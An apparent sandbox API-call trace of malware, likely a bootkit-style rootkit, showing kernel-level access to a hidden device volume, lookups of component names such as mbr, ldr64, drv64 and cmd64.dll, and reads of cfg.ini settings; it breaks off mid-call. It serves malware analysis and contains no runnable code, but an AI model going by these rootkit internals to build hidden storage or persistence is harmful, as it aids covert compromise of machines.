[0130.784] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.784] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.784] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.784] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.784] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.784] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.784] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.784] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.784] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.784] KeLeaveCriticalRegion () [0130.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.784] ReleaseMutex (hMutex=0x100) returned 1 [0130.784] Sleep (dwMilliseconds=0x2bf20) [0130.796] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7111b370, dwHighDateTime=0x1d24fa4)) [0130.796] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.796] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.797] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.797] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.797] KeEnterCriticalRegion () [0130.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.797] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.797] IdePortDispatch () returned 0x103 [0130.797] KeWaitForMutexObject () returned 0x0 [0130.797] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.797] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.797] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.797] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.797] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.797] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294e6b0 [0130.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.797] KeLeaveCriticalRegion () [0130.797] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.797] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.797] KeEnterCriticalRegion () [0130.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.797] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.797] KeLeaveCriticalRegion () [0130.798] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.798] KeEnterCriticalRegion () [0130.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.798] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.798] IdePortDispatch () returned 0x103 [0130.798] KeWaitForMutexObject () returned 0x0 [0130.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.798] KeLeaveCriticalRegion () [0130.798] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.798] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.798] KeEnterCriticalRegion () [0130.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.798] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bd000 [0130.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.798] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.798] IdePortDispatch () returned 0x103 [0130.798] KeWaitForMutexObject () returned 0x0 [0130.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.799] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.799] IdePortDispatch () returned 0x103 [0130.799] KeWaitForMutexObject () returned 0x0 [0130.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.799] KeLeaveCriticalRegion () [0130.799] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.800] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.800] KeEnterCriticalRegion () [0130.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.800] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.800] KeLeaveCriticalRegion () [0130.800] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.800] KeEnterCriticalRegion () [0130.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.800] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.800] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.800] KeLeaveCriticalRegion () [0130.800] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.800] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.800] KeEnterCriticalRegion () [0130.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.800] ExFreePoolWithTag (P=0xfffffa800294e6b0, Tag=0x0) [0130.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.800] KeLeaveCriticalRegion () [0130.800] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.800] ReleaseMutex (hMutex=0xf0) returned 1 [0130.800] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.800] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.800] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.800] KeEnterCriticalRegion () [0130.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.801] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.801] IdePortDispatch () returned 0x103 [0130.801] KeWaitForMutexObject () returned 0x0 [0130.801] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.801] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.801] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.801] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.801] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.801] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294e250 [0130.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.801] KeLeaveCriticalRegion () [0130.801] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.801] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.801] KeEnterCriticalRegion () [0130.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.801] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.801] KeLeaveCriticalRegion () [0130.801] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.801] KeEnterCriticalRegion () [0130.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.801] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.802] IdePortDispatch () returned 0x103 [0130.802] KeWaitForMutexObject () returned 0x0 [0130.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.802] KeLeaveCriticalRegion () [0130.802] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.802] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.802] KeEnterCriticalRegion () [0130.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.802] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034be000 [0130.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.802] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.802] IdePortDispatch () returned 0x103 [0130.802] KeWaitForMutexObject () returned 0x0 [0130.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.803] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.803] IdePortDispatch () returned 0x103 [0130.803] KeWaitForMutexObject () returned 0x0 [0130.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.803] KeLeaveCriticalRegion () [0130.803] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.803] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.804] KeEnterCriticalRegion () [0130.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.804] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.804] KeLeaveCriticalRegion () [0130.804] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.804] KeEnterCriticalRegion () [0130.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.804] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.804] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.804] KeLeaveCriticalRegion () [0130.804] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.804] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.804] KeEnterCriticalRegion () [0130.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.804] ExFreePoolWithTag (P=0xfffffa800294e250, Tag=0x0) [0130.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.804] KeLeaveCriticalRegion () [0130.804] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.804] ReleaseMutex (hMutex=0xf0) returned 1 [0130.804] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.804] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.804] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.804] KeEnterCriticalRegion () [0130.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.804] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.804] IdePortDispatch () returned 0x103 [0130.804] KeWaitForMutexObject () returned 0x0 [0130.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.805] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.805] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.805] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.805] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.805] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ff60 [0130.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.805] KeLeaveCriticalRegion () [0130.805] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.805] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.805] KeEnterCriticalRegion () [0130.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.805] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.805] KeLeaveCriticalRegion () [0130.805] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.805] KeEnterCriticalRegion () [0130.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.805] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.805] IdePortDispatch () returned 0x103 [0130.805] KeWaitForMutexObject () returned 0x0 [0130.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.806] KeLeaveCriticalRegion () [0130.806] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.806] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.806] KeEnterCriticalRegion () [0130.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bf000 [0130.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.806] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.806] IdePortDispatch () returned 0x103 [0130.806] KeWaitForMutexObject () returned 0x0 [0130.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.806] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.806] IdePortDispatch () returned 0x103 [0130.806] KeWaitForMutexObject () returned 0x0 [0130.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.807] KeLeaveCriticalRegion () [0130.807] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.807] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.807] KeEnterCriticalRegion () [0130.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.807] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.807] KeLeaveCriticalRegion () [0130.807] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.807] KeEnterCriticalRegion () [0130.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.807] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.808] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294f070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.808] KeLeaveCriticalRegion () [0130.808] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.808] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.808] KeEnterCriticalRegion () [0130.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.808] ExFreePoolWithTag (P=0xfffffa800294ff60, Tag=0x0) [0130.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.808] KeLeaveCriticalRegion () [0130.808] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.808] ReleaseMutex (hMutex=0xf0) returned 1 [0130.808] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.808] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.808] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.808] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.808] KeEnterCriticalRegion () [0130.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.808] MmProbeAndLockPages (in: 